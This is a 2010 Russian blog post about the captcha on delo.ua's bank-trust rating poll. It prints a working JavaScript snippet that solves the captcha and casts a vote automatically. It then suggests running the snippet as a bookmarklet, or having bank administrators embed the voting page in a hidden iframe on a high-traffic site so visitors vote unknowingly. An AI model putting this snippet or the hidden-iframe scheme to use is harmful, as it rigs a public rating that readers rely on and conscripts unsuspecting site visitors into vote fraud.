четверг, 29 июля 2010 г.

Банки, которым Вы больше всего доверяете. Часть 2.

Насколько система рейтинга защищена от накрутки?
Проведем небольшое исследование.

Процесс голосования прост.
1. Заходим на страничку с банком.
2. Нажимаем "голосовать", вводим появившиеся цифры и щелкаем "Enter".

Подземелье.
1. Грузится страничка со значением (question).
2. После нажатия на "голосовать", преобразуем наше значение в 4х-значный код (answer).
3. После нажатия клавиши "Enter", отправляем запрос на delo.ua/json/ c значением answer.
4. Проверяем полученный результат, если ошибка - выводим на экран.
5. Если ошибок нет, переходим на эту же страницу с параметром vote.
6. Голос засчитан. Все ок.

Автоматизация процесса.
Сделать действия автоматическим не составляет труда, поэтому я предоставляю на ваш суд небольшой кусочек исходного кода выполняющий процесс ответа на капч-запрос и завершения процесса голосования по выбранному банку.
if( $( '.vote-btn' ).length > 0 ) { $.post( '/json/', { 'answer': new dc.captcha( /captcha\('(\d*)',/.exec( $( 'script' )[ 36 ].innerText )[ 1 ], null, null ).question, 'action_name': 'captcha-check' }, function( res ){ res = eval( '(' + res + ')' ); if( !res.error ){ var form = $( '<form method="post" action="' + document.location.href + '"><input type="hide" name="vote" value="' + /id=(\d+)/.exec( document.location.href )[ 1 ] + '" /></form>' ); $( document.body ).append( form ); form.submit( ); } }, null ); }
Варианты использования.
1й вариант (протестировать) - в адресной строке прописать "javascript:" и подставить вышеуказанный код.

2й вариант (на каждый день) - создать ярлык в браузере и прописать "javascript:" и вышеуказанный код в поле загрузка, после чего вы сможете на открытой странице банка нажать на ярлык, произведя тем самым голосование.

3й вариант (для администраторов банка) - очень интересный вариант накрутить рейтинг - на очень посещаемой странице разместить скрытый iframe с загружаемой страницей банка для голосования. И используя "Cross-Domain Communication with iFrame" выполнить указанный код в загруженной странице.

Резюме.
Подведем итоги проделанной работы. Молодцы ребята из проекта delo.ua, интересный предложили вариант "защиты от дурака", но к сожалению не очень-то и стойкий. Не совсем разобрался по каким критериям идет проверка, что пользователь уже голосовал. Т.к. даже с одного внешнего белого ip адреса несколько человек имело возможность проголосовать так как им хотелось, а также с одной и той же рабочей станции из под разных браузеров сайт прекрасно идентифицировал пользователя и сообщал, что голосование он уже выполнил. Явно дело не в куках (cookie) и не идентификаторе браузера (User-Agent).

Комментариев нет:

Отправить комментарий